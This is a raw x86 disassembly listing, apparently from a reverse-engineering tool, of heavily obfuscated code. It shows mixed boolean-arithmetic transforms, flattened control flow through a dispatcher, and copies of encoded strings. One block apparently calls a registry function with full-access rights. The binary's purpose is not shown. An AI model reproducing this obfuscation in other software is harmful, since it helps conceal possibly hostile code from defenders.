imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x23805dff
or ecx, 0x23805dff
add eax, ecx
add eax, 0x59cf35a
add eax, 0x9e585f20
sub eax, 0x59cf35a
mov ecx, 0x6f2e7f4b
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x18a7d693
mov edx, 0xe77a3949
cmp esi, 0xb0826042
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov edi, dword [ebp - 0x8c]
mov ebx, dword [ebp - 0x90]
mov eax, dword [0x101d1d70]
mov edx, dword [0x101d1d74]
mov ecx, edx
and ecx, eax
xor ecx, 0xffffffff
add eax, edx
add eax, 1
add eax, ecx
mov ecx, eax
and ecx, 0x804f4d86
xor ecx, 0xffffffff
add eax, 0x804f4d86
add eax, 1
add eax, ecx
and eax, 0xa4985916
and eax, 0xbc3e4617
and eax, 0xc3598a5e
mov ecx, 0x88f1ecf4
xor edx, edx
div ecx
imul eax, eax, 0x9b360728
mov ecx, eax
xor ecx, 0x7b341e4d
mov edx, 0xffffffff
xor edx, 0x7b341e4d
and eax, edx
shl eax, 1
sub eax, ecx
xor eax, 0x1b5e6496
mov ecx, eax
xor ecx, 0x516bf21f
mov edx, 0xffffffff
xor edx, 0x516bf21f
and eax, edx
shl eax, 1
sub eax, ecx
or eax, 0xfe22bbd9
mov edx, eax
xor edx, 0xffffffff
and edx, 0xab24fe34
mov esi, 0xffffffff
xor esi, 0xab24fe34
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xab24fe34
or eax, 0xab24fe34
imul eax, edx
add eax, ecx
or eax, 0x81f78322
mov ecx, 0x97182e71
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8aaf8a8d
mov ecx, 0xffffffff
xor ecx, 0xb4cdce68
or eax, edx
or ecx, 0xb4cdce68
xor eax, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9baba328
mov ecx, 0xffffffff
xor ecx, 0xbd63d960
or eax, edx
or ecx, 0xbd63d960
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xe222fcb6
xor edx, edx
div ecx
mov ecx, 0x13fdea3
xor edx, edx
div ecx
imul eax, eax, 0x7c1f53a2
imul eax, eax, 0xef7e6e1f
sub eax, 0x9d7e127d
add eax, 0x524ec76b
sub eax, 0xe083e712
sub eax, 0x524ec76b
xor ecx, ecx
sub ecx, 0x4ed2c8a8
sub eax, ecx
add eax, 0xddcec722
mov ecx, 0xc0fc7488
xor edx, edx
div ecx
add eax, 0xfff7f0de
sub eax, 0x87adc54c
sub eax, 0xfff7f0de
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x839c318b
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x200a3ac6
mov esi, 0xffffffff
xor esi, 0x200a3ac6
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x200a3ac6
or eax, 0x200a3ac6
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2c174231
and ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2c174231
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0x3d3884ea
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3d3884ea
mov esi, 0xffffffff
xor esi, 0x3d3884ea
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0x5a89d740
add eax, 0x28096ffa
imul ecx, eax, 0x10b2222
xor ecx, 0x54c01de9
mov eax, ecx
or eax, 0x4b4c3c09
xor eax, 0xffffffff
or ecx, 0x4b4c3c09
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xd081dd8e
mov edx, 0xffffffff
xor edx, 0xd081dd8e
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0x9a1cd2aa
xor ecx, 0xffffffff
or eax, 0x9a1cd2aa
and eax, ecx
mov ecx, eax
and ecx, 0x65dbeafe
xor eax, 0x65dbeafe
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf158883
mov edx, 0xffffffff
xor edx, 0xf158883
and ecx, edx
or eax, ecx
xor eax, 0x362416d7
mov esi, 0xffffffff
xor esi, 0x17011bc6
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x17011bc6
or eax, 0x17011bc6
imul eax, edx
add eax, ecx
sub eax, 0x89b7983f
imul eax, eax, 0x3a68c5a6
and eax, 0x48daa711
add eax, 0x4ec150e4
xor eax, 0x6dc90009
xor eax, 0x8b07756f
add eax, 0x7043b2ec
mov esi, eax
xor esi, 0xffffffff
and esi, 0x788c2370
mov ecx, 0xffffffff
xor ecx, 0x788c2370
mov edx, eax
and edx, ecx
mov ecx, dword [ebp - 0x9c]
imul edx, esi
mov esi, eax
and esi, 0x788c2370
or eax, 0x788c2370
imul eax, esi
add eax, edx
add eax, 0xe3f1f374
mov esi, 0xb42278fa
xor edx, edx
div esi
mov esi, eax
mov eax, dword [ebp - 0xa0]
mov edx, dword [str.t_rMI]
mov dword [eax], edx
mov dl, byte [0x101cf7d8]
mov byte [eax + 4], dl
lea eax, [0x101cf7a0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x12
call fcn.101b3700
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x88]
add esp, 0xc
mov eax, dword [0x101cf850]
mov dword [ecx], eax
mov eax, dword [0x101cf854]
mov dword [ecx + 4], eax
mov ax, word [0x101cf858]
mov word [ecx + 8], ax
mov eax, dword [ebp - 0x94]
mov ecx, dword [0x101cf7bf]
mov dword [eax], ecx
mov ecx, dword [0x101cf7c3]
mov dword [eax + 4], ecx
mov ecx, dword [0x101cf7c7]
mov dword [eax + 8], ecx
mov ecx, dword [0x101cf7cb]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0x80]
mov eax, dword [0x101cf87e]
mov dword [ebx], eax
mov eax, dword [0x101cf882]
mov dword [ebx + 4], eax
mov ax, word [0x101cf886]
mov word [ebx + 8], ax
mov eax, dword [ebp - 0x84]
mov ebx, dword [0x101cf893]
mov dword [edi], ebx
mov ebx, dword [0x101cf897]
mov dword [edi + 4], ebx
mov ebx, dword [0x101cf89b]
mov dword [edi + 8], ebx
mov bl, byte [0x101cf89f]
mov byte [edi + 0xc], bl
mov edi, dword [0x101cf7e1]
mov dword [edx], edi
mov edi, dword [0x101cf7e5]
mov dword [edx + 4], edi
mov edi, dword [0x101cf7e9]
mov dword [edx + 8], edi
mov edx, dword [0x101cf867]
mov dword [eax], edx
mov edx, dword [0x101cf86b]
mov dword [eax + 4], edx
mov edx, dword [0x101cf86f]
mov dword [eax + 8], edx
mov dl, byte [0x101cf873]
mov byte [eax + 0xc], dl
lea eax, [0x101cf830]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x19
call fcn.101b3700
mov edx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov edi, dword [0x101cf7f9]
mov dword [edx], edi
mov edi, dword [0x101cf7fd]
mov dword [edx + 4], edi
mov edi, dword [0x101cf801]
mov dword [edx + 8], edi
mov di, word [0x101cf805]
mov word [edx + 0xc], di
cmp dword [ecx], 0
setne cl
mov byte [ebp - 0xb1], cl
mov ecx, 0xe77a3949
mov edx, 0xe0e75811
cmp esi, 0xd6f1ee50
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0xb1]
mov ecx, 0x35abb018
mov edx, 0x873ab081
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d78]
add eax, dword [0x101d1d7c]
xor eax, 0x1cfd15b5
imul ecx, eax, 0xa2d6e42a
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xc0], eax
mov esi, 0xffffffff
xor esi, 0xbd9d2c02
mov edx, 0xffffffff
xor edx, 0x5e0d8118
and eax, 0x5e0d8118
and ecx, edx
mov edi, esi
and edi, 0x5e0d8118
mov ebx, edx
and ebx, 0xbd9d2c02
or eax, ecx
mov ecx, dword [ebp - 0xc0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x5e0d8118
and ecx, edx
or eax, ecx
add eax, 0x1a83b5a
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x56f71c25
add eax, ecx
imul eax, eax, 0xf4910b07
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0xbc], ecx
mov esi, 0xffffffff
xor esi, 0xfcbcf1c7
mov edx, 0xffffffff
xor edx, 0x42578b39
and ecx, 0x42578b39
and eax, edx
mov edi, esi
and edi, 0x42578b39
mov ebx, edx
and ebx, 0xfcbcf1c7
or ecx, eax
mov eax, dword [ebp - 0xbc]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x42578b39
and eax, edx
or ecx, eax
mov eax, ecx
or eax, 0x7784f094
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7784f094
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
and ecx, 0x5fdd7b30
shl ecx, 1
xor eax, 0x5fdd7b30
add eax, ecx
xor ecx, ecx
sub ecx, 0x18c6d610
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0x72385ea7
or edx, 0x72385ea7
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, 0x72385ea7
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov edx, 0xffffffff
xor edx, 0x600aed30
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x409d63d
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0xb8], ecx
mov esi, 0xffffffff
xor esi, 0x241f8be4
mov edx, 0xffffffff
xor edx, 0xdb7a704f
and ecx, 0xdb7a704f
and eax, edx
mov edi, esi
and edi, 0xdb7a704f
mov ebx, edx
and ebx, 0x241f8be4
or ecx, eax
mov eax, dword [ebp - 0xb8]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0xdb7a704f
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xa83cc12c
or edx, 0xa83cc12c
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0xa83cc12c
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and edx, 0x2d6ff67c
mov esi, 0xffffffff
xor esi, 0x2d6ff67c
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x2d6ff67c
or eax, 0x2d6ff67c
imul eax, edx
add eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xad69cb82
mov edx, 0xffffffff
xor edx, 0xad69cb82
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x534e172a
xor edx, edx
div ecx
imul eax, eax, 0x61b6271f
mov ecx, 0x9c07f60e
xor edx, edx
div ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xccd17989
or ecx, 0xccd17989
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
or ecx, 0x745eee1e
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x745eee1e
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov edx, 0xffffffff
xor edx, 0xdca3ccba
mov eax, ecx
xor eax, edx
and eax, ecx
xor ecx, ecx
sub ecx, 0x51975977
add eax, ecx
mov ecx, 0xdc4540df
xor edx, edx
div ecx
mov ecx, 0x639d69ea
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x4a689488
or ecx, 0x4a689488
add eax, ecx
xor eax, 0xeabba81d
or eax, 0x7cbf2570
mov ecx, 0xffffffff
xor ecx, 0x68178b0f
add eax, ecx
add eax, 1
mov ecx, 0xc8d39450
xor edx, edx
div ecx
xor eax, 0x13a8831f
xor ecx, ecx
sub ecx, 0x8fa816f1
sub eax, ecx
imul eax, eax, 0x3d4590f8
mov ecx, 0x75e5c2e1
xor edx, edx
div ecx
sub eax, 0x686e2daf
sub eax, 0xe8217326
add eax, 0x686e2daf
mov ecx, 0x769cfde5
xor edx, edx
div ecx
mov ecx, 0x42c2322b
xor edx, edx
div ecx
sub eax, 0x8edd55ca
add eax, 0xbcfc5b5a
sub eax, 0xa7d6ea4a
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9319f5ba
and ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x9319f5ba
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xdbff9626
mov edx, 0xffffffff
xor edx, 0xdbff9626
and ecx, edx
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0xf88f91b4
mov eax, ecx
xor eax, edx
and eax, ecx
or eax, 0xee7404f
imul ecx, eax, 0xf2677b3a
mov eax, ecx
or eax, 0xe8699f62
xor eax, 0xffffffff
or ecx, 0xe8699f62
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0x347a0434
xor ecx, 0xffffffff
or eax, 0x347a0434
and eax, ecx
or eax, 0x92738a7a
mov ecx, 0x960f9bf6
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x4dd15186
mov edx, 0x7d973fc0
cmp esi, 0x2cb260c4
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d80]
or eax, dword [0x101d1d84]
mov ecx, 0x202e7a7c
xor edx, edx
div ecx
mov ecx, 0x4a41230c
xor edx, edx
div ecx
and eax, 0x6ff34492
mov ecx, 0xc4f41541
xor edx, edx
div ecx
mov esi, eax
add esi, 0xfef11454
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xfaecfcd5
mov edx, 0xffffffff
xor edx, 0xfaecfcd5
and esi, edx
mov eax, 0xffffffff
xor eax, 0xb97fe30b
and eax, 0xfaecfcd5
and edx, 0xb97fe30b
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x5b9c5812
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xd0], eax
mov esi, 0xffffffff
xor esi, 0x20c42994
mov edx, 0xffffffff
xor edx, 0x7c5d9468
and eax, 0x7c5d9468
and ecx, edx
mov edi, esi
and edi, 0x7c5d9468
mov ebx, edx
and ebx, 0x20c42994
or eax, ecx
mov ecx, dword [ebp - 0xd0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x7c5d9468
and ecx, edx
or eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xc667ada0
and ecx, 0xc667ada0
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xcee1389b
xor eax, 0xe5ce652
add eax, 0x450c87ba
sub eax, 0x3b761ae9
sub eax, 0x450c87ba
add eax, 0x31f5ca01
mov ecx, 0xffffffff
xor ecx, 0x65bd25a1
add eax, ecx
add eax, 1
mov ecx, 0xffffffff
xor ecx, 0x6775f880
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
add eax, 0xd7107757
sub eax, 0xa2e5a43e
sub eax, 0xd7107757
mov ecx, 0x90730b13
xor edx, edx
div ecx
mov ecx, 0x4592cae8
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xba874e2e
and ecx, 0xba874e2e
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0x26f6d07f
or edx, 0x26f6d07f
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x26f6d07f
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
and ecx, 0x40f67b6d
add ecx, 0x5340a8f1
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x1a569fc8
mov edx, 0xffffffff
xor edx, 0x1a569fc8
and ecx, edx
or eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xa44ef756
add eax, ecx
add eax, 0x17eeaefc
mov ecx, 0x99ba2111
xor edx, edx
div ecx
add eax, 0xad6f3a45
sub eax, 0x96f952a0
sub eax, 0xad6f3a45
mov ecx, 0xb4baf24d
xor edx, edx
div ecx
sub eax, 0x95fe6f33
xor ecx, ecx
sub ecx, 0x19cf50aa
add eax, ecx
sub eax, 0x27d14111
mov ecx, 0xa10292be
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa9c7bffd
mov esi, 0xffffffff
xor esi, 0xa9c7bffd
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xa9c7bffd
or eax, 0xa9c7bffd
imul eax, edx
add eax, ecx
sub eax, 0x6f4009a2
xor eax, 0x6715074f
and eax, 0xe3535ee0
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0xcc], ecx
mov esi, 0xffffffff
xor esi, 0x1db2671
mov edx, 0xffffffff
xor edx, 0x7a22a4e5
and ecx, 0x7a22a4e5
and eax, edx
mov edi, esi
and edi, 0x7a22a4e5
mov ebx, edx
and ebx, 0x1db2671
or ecx, eax
mov eax, dword [ebp - 0xcc]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x7a22a4e5
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x4f57eeec
mov edx, 0xffffffff
xor edx, 0x4f57eeec
and ecx, edx
sub ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x2e348bbe
add eax, ecx
xor esi, esi
sub esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x58b3d9fe
mov edx, 0xffffffff
xor edx, 0x58b3d9fe
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xfec1fdf7
and ecx, 0x58b3d9fe
and edx, 0xfec1fdf7
or eax, esi
or ecx, edx
xor eax, ecx
sub eax, 0xd448fd38
mov ecx, 0x7631041c
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x62c7c997
mov esi, 0xffffffff
xor esi, 0x28d7120e
mov eax, edx
and eax, 0x28d7120e
mov dword [ebp - 0xc8], eax
and ecx, esi
mov ebx, edi
and ebx, 0x28d7120e
mov eax, esi
and eax, 0x62c7c997
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xc8]
or eax, ecx
mov ecx, dword [ebp - 0xc4]
or ebx, ecx
mov ecx, dword [ebp - 0x70]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x28d7120e
and edx, esi
or eax, edx
or eax, 0x70068a07
or eax, 0x3233fdd
mov edx, eax
xor edx, 0xffffffff
and edx, 0x3c47319
mov esi, 0xffffffff
xor esi, 0x3c47319
and eax, esi
sub eax, edx
mov esi, 0xff8c435b
xor edx, edx
div esi
mov edx, dword [ebp - 0x74]
mov esi, eax
and esi, 0x99d6de47
xor eax, 0x99d6de47
or esi, eax
or esi, 0x7e8a65ff
add esi, 0xe0793758
mov eax, dword [0x101d4b04]
mov edi, closesocket
xor ebx, ebx
sub esp, 0x24
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], 0
call eax
mov ecx, dword [ebp - 0x78]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov ecx, 0x7d973fc0
mov edx, 0x31ddab0b
cmp esi, 0x727056c7
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov eax, dword [0x101d1d88]
xor edx, edx
div dword [0x101d1d8c]
mov ecx, eax
sub ecx, 0x6148ac70
add ecx, 0xf5114b55
add ecx, 0x6148ac70
mov eax, ecx
and eax, 0x4a5de338
xor ecx, 0x4a5de338
or eax, ecx
mov ecx, 0x1b8882a0
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x5fd16bfa
xor ecx, 0xffffffff
and eax, 0x5fd16bfa
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
mov eax, ecx
and eax, 0xba5474a5
or ecx, 0xba5474a5
add eax, ecx
mov ecx, eax
and ecx, 0x6d48783d
shl ecx, 1
add eax, 0x6d48783d
sub eax, ecx
xor eax, 0x460eeaa5
mov esi, 0xffffffff
xor esi, 0xf570316
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf570316
or eax, 0xf570316
imul eax, edx
add eax, ecx
or eax, 0xdae85b2d
imul ecx, eax, 0x763db815
mov eax, ecx
or eax, 0x965aa1cc
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x965aa1cc
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xf715d6e6
xor edx, edx
div ecx
mov ecx, 0x655f8c34
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0xb9866ba7
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
add eax, 0xde282ec1
sub eax, 0x597278e1
sub eax, 0xde282ec1
xor eax, 0x3adb7f6e
mov ecx, 0xefaff9db
xor edx, edx
div ecx
add eax, 0x32bf2700
imul eax, eax, 0x73d3f12a
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xcaddd0fd
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x435ec7bf
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x95003832
mov esi, 0xffffffff
xor esi, 0x95003832
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x95003832
or eax, 0x95003832
imul eax, edx
add eax, ecx
mov ecx, 0xd01f57f4
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xbddef685
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xbddef685
or eax, 0xbddef685
imul eax, edx
add eax, ecx
xor eax, 0xb5c8def6
mov ecx, 0xa52f5435
xor edx, edx
div ecx
and eax, 0x2800c5a0
add eax, 0x1c2b3b51
add eax, 0x34cee807
sub eax, 0x1c2b3b51
and eax, 0x99b47c60
mov ecx, 0xf19b87f7
xor edx, edx
div ecx
and eax, 0x5083ab6b
mov ecx, eax
and ecx, 0x1012f499
xor ecx, 0xffffffff
add eax, 0x1012f499
add eax, 1
add eax, ecx
xor eax, 0x85effeca
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9379adc7
mov esi, 0xffffffff
xor esi, 0x9379adc7
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9379adc7
or eax, 0x9379adc7
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0x10e966e6
xor ecx, 0xffffffff
and ecx, 0x10e966e6
shl ecx, 1
sub ecx, 0x10e966e6
sub eax, ecx
mov ecx, 0xb13bea27
xor edx, edx
div ecx
xor eax, 0x8c7fd2ed
xor eax, 0x565a3d48
and eax, 0xf8915676
mov ecx, 0xe7468607
xor edx, edx
div ecx
sub eax, 0x5947efcb
mov ecx, eax
xor ecx, 0x3c02c364
mov edx, 0xffffffff
xor edx, 0x3c02c364
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x7a1e6867
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x811ddfee
or ecx, 0x811ddfee
add eax, ecx
mov ecx, 0x6dba9240
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xe36f9346
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xe36f9346
or eax, 0xe36f9346
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0xc3dc5fe9
xor ecx, 0xffffffff
add eax, 0xc3dc5fe9
add eax, 1
add eax, ecx
mov ecx, 0x62aa4ef7
xor edx, edx
div ecx
imul eax, eax, 0x5d4931db
mov ecx, eax
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x1b44bb03
mov edx, 0xffffffff
xor edx, 0xd850f727
mov esi, ecx
and esi, 0xd850f727
and eax, edx
mov dword [ebp - 0xd8], eax
mov ebx, edi
and ebx, 0xd850f727
mov eax, edx
and eax, 0x1b44bb03
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd8]
or esi, eax
mov eax, dword [ebp - 0xd4]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor esi, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0xd850f727
and ecx, edx
or esi, ecx
mov ecx, 0xb9c4966
mov edx, 0x9f8a718a
cmp esi, 0x91f2b095
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1010b712
mov ecx, dword [0x101d1d90]
mov edx, dword [0x101d1d94]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
or eax, 0xb7c277f2
mov esi, 0xffffffff
xor esi, 0x70172498
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x70172498
or eax, 0x70172498
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xf47401a7
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf47401a7
or eax, 0xf47401a7
imul eax, edx
add eax, ecx
sub eax, 0x7c3fbb9e
and eax, 0xffd389cf
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xdb4659fb
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0x62e31888
or eax, 0x4e0c23ec
mov ecx, 0x3b4558ef
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xa604a56d
xor eax, 0xffffffff
or ecx, 0xa604a56d
and ecx, eax
or ecx, 0xfeef69eb
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xb179d26a
mov edx, 0xffffffff
xor edx, 0xb179d26a
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
and eax, 0x9ebf7539
and eax, 0x619c66f9
add eax, 0xf983b53
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcd115c38
mov ecx, 0xffffffff
xor ecx, 0xd40923ee
or eax, edx
or ecx, 0xd40923ee
xor eax, 0xffffffff
and eax, ecx
imul eax, eax, 0xead2ddb3
add eax, 0xd550d1e3
mov ecx, 0x8241c050
xor edx, edx
div ecx
mov ecx, 0xef97476
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x11495666
sub ecx, 0x7b691188
xor ecx, 0xccc2cea6
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x4db02657
mov edx, 0xffffffff
xor edx, 0x4db02657
and ecx, edx
or eax, ecx
and eax, 0x110e4dd5
mov ecx, 0xffffffff
xor ecx, 0x9792b241
mov esi, eax
xor esi, ecx
and esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xcf388127
mov edx, 0xffffffff
xor edx, 0xcf388127
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xd469a277
and ecx, 0xcf388127
and edx, 0xd469a277
or eax, esi
or ecx, edx
xor eax, ecx
sub eax, 0x304b61f3
xor eax, 0xcae89763
sub eax, 0xd78fcb82
sub eax, 0x9369cb33
add eax, 0xd78fcb82
mov ecx, eax
or ecx, 0xf254cada
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf254cada
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
add ecx, 0x8723e371
add ecx, 0xa94a1ef9
sub ecx, 0x8723e371
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xc8e40dcb
mov edx, 0xffffffff
xor edx, 0xc8e40dcb
and ecx, edx
or eax, ecx
imul ecx, eax, 0x90c6f00e
